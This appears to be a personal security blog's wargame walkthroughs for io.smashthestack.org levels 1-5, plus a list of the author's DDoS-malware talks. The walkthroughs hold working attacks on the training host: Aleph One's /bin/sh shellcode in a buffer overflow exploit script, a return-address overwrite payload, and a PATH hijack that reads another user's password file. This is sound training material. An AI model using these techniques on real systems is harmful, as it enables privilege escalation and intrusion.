IO Level 5

Level 5 of io.smashthestack.org:


level5@io:/tmp/dennis5$ cat exp.py 
# aleph one's shellcode from smashing the stack for fun and profit
shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"

nops = "A" * (140 - len(shellcode))

# start of buf, from gdb
ret = "\xe0\xfb\xff\xbf"

print "%s" % nops + shellcode + ret

level5@io:/tmp/dennis5$ /levels/level05 `python exp.py`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?^1?FF  V
                     ? N?1??@??????/bin/sh????
sh-4.1$ id            ?
uid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1006(level6),1005(level5),1029(nosu)
sh-4.1$ cat /home/level6/.pass

shhh don't snitch

IO Level 4

Level 4 of io.smashthestack.org:

level4@io:~$ cd /tmp/dennis
level4@io:/tmp/dennis$ cat id
#!/bin/sh
cat /home/level5/.pass
level4@io:/tmp/dennis$ export PATH=.:$PATH
level4@io:/tmp/dennis$ /levels/level04

shhh don't snitch

IO Level 3

Level 3 of io.smashthestack.org:

level3@io:/levels$ ./level03 `python -c 'print "A" * 80'`
This is exciting we're going to 0x41414141
Segmentation fault
level3@io:/levels$ ./level03 `python -c 'print "A" * 76 + "\x74\x84\x04\x08"'`
This is exciting we're going to 0x8048474
Win.
sh-4.1$ id
uid=1003(level3) gid=1003(level3) euid=1004(level4) groups=1004(level4),1003(level3),1029(nosu)
sh-4.1$ cat /home/level4/.pass

shhh don't snitch

IO Level 2

Level 2 of io.smashthestack.org:

level2@io:/levels$ ./level02_alt NAN
sh-4.1$ id    
uid=1002(level2) gid=1002(level2) euid=1003(level3) groups=1003(level3),1002(level2),1029(nosu)
sh-4.1$ cat /home/level3/.pass

shhh don't snitch

IO Level 1

Level 1 of io.smashthestack.org:

level1@io:/levels$ strings -el level01
SecretPW
level1@io:/levels$ ./level01 SecretPW
Win!

You will find the ssh password for level2 in /home/level2/.pass

sh-4.1$ cat /home/level2/.pass

shhh don't snitch

Signals #1-4

I'm putting Gera's Signals #1-4 on hold indefinitely. I gave them the ol' college try, but didn't make much progress after multiple attempts.

If anyone has anything on these, please ping me.

Up next, io.smashthestack.org. WARNING: there will be spoilers!

9-5ing

A couple of 9-5 things:

• Conference talk - ASERT's DDoS Malware Corral, Volume 1
• Volume 1 (pre-talk) at ARBSEC in Ann Arbor, Michgian
• Volume 1 at InfoSec Southwest 2013 in Austin, Texas
• Volume 1.5 at a Red Sky Alliance meeting 
• Blog post - Digging Through an "Administrative Network Stressor" Provider's Database
• Blog post - The Revolution Will Be Written in Delphi
• SecurityWeek media - Arbor Networks Goes Inside Development of BlackRev DDoS Malware
• VRT and Emerging Threats Snort sigs - Blackrev C2 sigs (thread)